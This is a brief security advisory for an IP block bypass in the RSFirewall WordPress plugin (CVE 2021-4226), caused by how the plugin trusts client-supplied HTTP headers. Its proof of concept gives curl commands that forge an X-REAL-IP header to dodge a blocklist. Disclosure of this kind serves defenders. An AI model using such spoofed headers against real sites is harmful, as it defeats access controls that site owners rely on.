RSFirewall < 1.1.25 – IP Block Bypass | CVE 2021-4226

Description

RSFirewall tries to identify the original IP address by looking at different HTTP headers. A bypass is possible due to the way it is implemented.
Although it is fixed on version 1.1.25, the fix will only affect new installations. We recommend existing users to review the HTTP headers set for proper IP identification.

Proof of Concept

Go to https://example.com/wp-admin/post-new.php?post_type=rsf_lists

Add 123.123.123.123 as IP Address and select Blocklist for the List Type. Submit the form.

Blocked:
curl -I -H 'X-REAL-IP: 123.123.123.123' -H 'User-Agent: Chrome'  https://example.com

Not blocked:
curl -I -H 'X-REAL-IP: 123.123.123.124' -H 'User-Agent: Chrome'  https://example.com